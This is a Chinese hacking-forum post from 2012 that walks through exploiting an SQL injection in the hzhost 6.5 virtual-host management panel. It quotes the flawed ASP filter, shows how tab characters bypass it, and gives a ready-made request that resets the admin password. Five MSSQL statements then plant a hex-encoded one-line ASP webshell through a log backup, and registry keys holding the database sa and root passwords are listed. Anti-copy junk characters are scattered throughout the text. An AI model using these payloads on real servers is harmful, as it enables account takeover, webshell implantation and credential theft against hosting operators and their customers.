找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2083|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
6 c( F, x& Z& O; Z3 {9 m- z 只讲两个要点。1 f% T& ]: A  n( f
第一,如何拿网站管理员权限。7 V  |& m) |, q& e- T
第二,如何备份木马。! O" w) `  x. c5 [" I  c
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
4 y" F# F# g0 k+ @. u  |2 E0 D2 W 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
) }" O" g7 y' o; X  m) ~' ghttP://www.xxbing.com QQ1787373155 |5 `# m) a' E4 P; E
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
( a' }5 }7 I; `------------开放浏览-------------
  f* y2 p/ s9 [4 P+ U; b, V 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!0 V$ F3 Q% A$ O( |$ X# L) I# f  D
-------------------------13-15行----------------------------
% K& E3 Z( K) i; }% c4 C/ b% J4 y querytype=SafeRequest("querytype")  //saferequest函数接受数据
  I% X1 t7 g  q6 T if chk_int(querytype)=false then  //检查是否是整数$ X  t5 y: u; R  o5 z& s2 |! D
    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."8 `# l' ^- \5 m7 u
-------------------------37-42行---------------------------. m9 s' q3 g8 }2 v
elseif querytype=5 then //如果类型为5。就接受qu1数据!- j% g* V% s+ Q4 z
   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
6 j, A- C: M6 G   
) {$ m( a* ]) O    if  qu1="" then  //不能为空
7 H6 p: x! `8 x( I; F+ V9 K! M         call errorpage(-2,"对不起,请选择参数!")" [' w1 b: N8 j. l* Y
   end if         
6 [/ o& ~. O# L, }' i3 s& i# h      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!" U8 b; {$ }% f( N: ~# L
-------------------------62-65行---------------------------
3 l( ^" ^* b+ ^! O qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
* O: R; U, i. }& y if qu7<>"" then1 i. [: H' S  V: A# \; v, Q
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
- _+ b* O) _3 o end if
$ d$ H3 k% Z- f8 d) S --------------------------117行-----------------------------4 X, M8 _' A; Y
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring $ d+ U9 V; H4 K6 R1 ~4 h
//到这里就丢进去查询了!
9 a3 Y7 d( v  U3 x; _: v3 X0 a( |  b) o) v+ N$ L  v% G% p
来看看saferequest()函数。
- u% D3 p  W% e2 b------------------incs/config.asp中-------------------------
9 w1 r+ T# d# P+ o3 ^0 i0 X# D Function SafeRequest(ParaName)
+ g' g) u8 Q8 p; T7 E: | Dim ParaValue 0 _- K9 \5 b  V+ j: x
ParaValue=Request(ParaName)  //获取数据
1 x# u! t8 Z8 e  e$ v+ R6 w if IsNumeric(ParaValue)  then  //如果是数字
: h/ X0 D# v" A2 _ SafeRequest=ParaValue  //那就不过滤,直接赋值
" W% O8 A! |& D6 u, H5 ?; w( c exit Function
7 c7 p) y" e/ F# C+ B, S& U% K
3 E, z  J: X1 t5 U& }" w else4 n* w* n6 ~7 _7 w/ p- A' N" _
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
% P8 v2 q6 o# B+ M6 N tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"# E3 \- n8 _# ?- V8 P
//定义要过滤的字符!
. r7 G8 J7 m. G/ l3 G+ B5 o
& @3 E8 _1 z! @( Y- `) ?$ A* \! L$ q 他过滤方式有问题。。。没有过滤 * / % / -- / ;! t$ h* L  \  ]- G+ ~0 M0 {) ]
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
$ V7 f. u0 r$ W$ K
2 g' \: U; ^& L temps=split(tempvalue,"|")           //转为一维数组; u+ a2 ?( M) m
for mycount=0 to ubound(temps)       //循环读数组内数据
' p( K5 p5 d  _8 K if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。! e  F$ X: Q8 i8 L8 N6 t/ g
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
# M' ]- u% F. v, I                 response.end
: c3 M# U% \: Z; L! V end if' R! Y0 q2 {; V; B8 W
next, w  m; K0 N6 |9 A6 [! h2 \
SafeRequest=ParaValue& g+ [. v, f* k% w7 o
end if
/ W9 [! N3 a# P4 S  O, x' | End function
1 b# ]7 M% [/ H' V -------------------------------------7 T( }' N; W: H/ `# y* A" h3 l

, N# @7 F4 A. m& e9 [* J 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
% Z0 y& `. A# l5 |3 b7 E9 b 先给出查询语句的框架。3 O1 ~) j) D5 o9 Z
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc* M8 Z: ^& u! V5 C8 \/ k

3 [* s3 t7 z" i0 H 为了使语句顺利执行:( ~2 E' q! ^* Z7 Z0 Z+ |
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。7 U6 L, \' j1 I2 P' E
这里我给出条示范语句,即{我们的语句}
, q4 w' J0 |5 a0 a  _UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E, v+ r  P* K( q/ Z6 Y5 |* O+ Y; Y

! Y& ^7 Y: `/ t  T- \, ^这条语句能够绕过saferequest函数的检测。没有出现单引号。
+ h& T5 b) y" @6 u' m  p7 T3 r 我们提交:
( m8 `% _- A. `8 M3 ~6 |1 `* Y" @4 Shttp://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
6 O( O1 Q( M6 h4 [- G1 A/ I& X7 v+ E8 n0 e/ [- K
这句话就能够将admin的密码修改成123456
1 p7 v% {) I/ K- \ 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。, N2 C9 a: v4 x$ Y' X
第二步是要备份挂马。
( P! d7 X1 Y, v( o, B1 D) M. X 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
, N& B' {3 o: N+ T; H% N: q 导致备马的这条语句失败。; q& Z( @( p. _+ j
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。/ @4 b( N, S# z! M6 @+ F5 \( @
! M2 d, K# g" ]: w/ P
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
" a' M& ^; X" O6 G) R3 a% h5 L 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
" B5 Y/ K0 r; f: d  v 接下来放出详细语句。大家放入{我们的语句中}
2 m5 }- C7 c) r7 U第 一 步:
! v0 u- c; v! Y2 W# L$ s' ] create table [dbo].[shit_tmp] ([cmd] [image])--! W/ ^4 ?1 t) q, d$ d' O3 S% n
第 二 步- o! [: D: j" m4 u% J" m6 B
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
' L, @. j, U, l 第 三 步
9 e5 J' `& y; V4 S2 r# `* ?( M9 W insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
, V8 i1 e3 D. O' c, M  t 第 四 步
3 W( z: l9 \9 ^5 @: E8 q1 v* w declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--. c1 x1 i# ]* |
第 五 步1 @" y$ Z% V; i$ C  f
Drop table [shit_tmp]--& r$ x4 P: ~. R2 m1 W$ ^% m
0 }! x' w' k1 p! `
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
% ^9 H5 ?" S% b+ l  m2 ]! c% M! W 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。; @0 z- [5 b( |4 ~& S
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》: P2 y7 v$ j5 B. c: ^
( ^% R, Y9 i5 j& }; w& t
最后是答疑部分:
2 Y7 P( P0 w! |! ?7 ]8 s, @+ g. c 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
+ y! I  X7 E! _8 ]3 H: w- i% p( O6 o. j" [" Z6 N* w. W, p
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
& V1 J, v8 p7 o' u* w4 w 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
' ^( o7 i, @) a. y. g 0x6531306164633339343962613539616262653536653035376632306638383365
  g! K+ L) n" p/ E  Q 大家仔细观察,会发现,其实只是去掉了一些00。。
0 `" E! h6 ]  ]8 ^& R7 j 所以大家在转换其他md5的时候,注意此问题。% x3 H+ M" d/ w. E, f
; R! V5 s! P2 j. d( _
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
. U' k5 H6 I6 v( h 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。" e! D' f' B) ^1 F

7 l: M2 z7 D/ o: o 4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
/ P0 p+ Y8 N, p& J3 K  C* n 有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
7 \, Y- ]& {5 G
8 @- G: M' M# g& m. [6 m1 w' D 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
" I* D: |3 X6 R3 \9 x. w
" t) [$ J( J( e, ^& j 6::
: D" p: n0 J" U4 fsa密码。root密码。1 K. a2 r, t: S6 o/ v) L1 v
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
; ?4 t. G. l$ ]) r mysqlpass---root密码
! O6 X, Z  e/ S5 a: Z0 Z4 z mssqlpss----sa密码, J4 ^, h8 `" Y- U" S7 l2 [

6 ?7 q- p+ N4 J# n9 i: R5 a6 ?" Y
' E  S6 i# _- ~* b- s. S( a) G2 w 7.如果路径不在D:/hzhost3 H0 t3 U1 x' [! T- ]
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。/ b) y0 N5 u+ j$ j
或者去读注册表。
% k, s. q: M( f, z# I/ X HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下- {! P! O4 s5 p
"wwwrootpath"="e:\\wwwroot"2 f5 h& e( D8 f* G& k! }
"urlsiteroot"="D:\\hzhost\\hzhost_url"
/ G5 j( w: t' t. E "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)4 `. L4 F' W! g* e# s
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!: T2 R, {9 T7 v0 P
; b% b3 D' P3 ~$ X
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
, L2 F+ \3 L3 \" X' Q9 Whzhost最新漏洞.rar
3 j0 F3 C$ h5 L3 v/ I! w. Y( z" L( {" g 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
1 H( s" M& P$ x; K' z6 U: g9 l: _/ ^. ?3 ]3 E
最后,还是版权。, I6 g5 n3 j6 o4 A6 {9 T
http://www.xxbing.com QQ178737315, `% x: ^9 E$ g, e3 Q$ O# |
允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表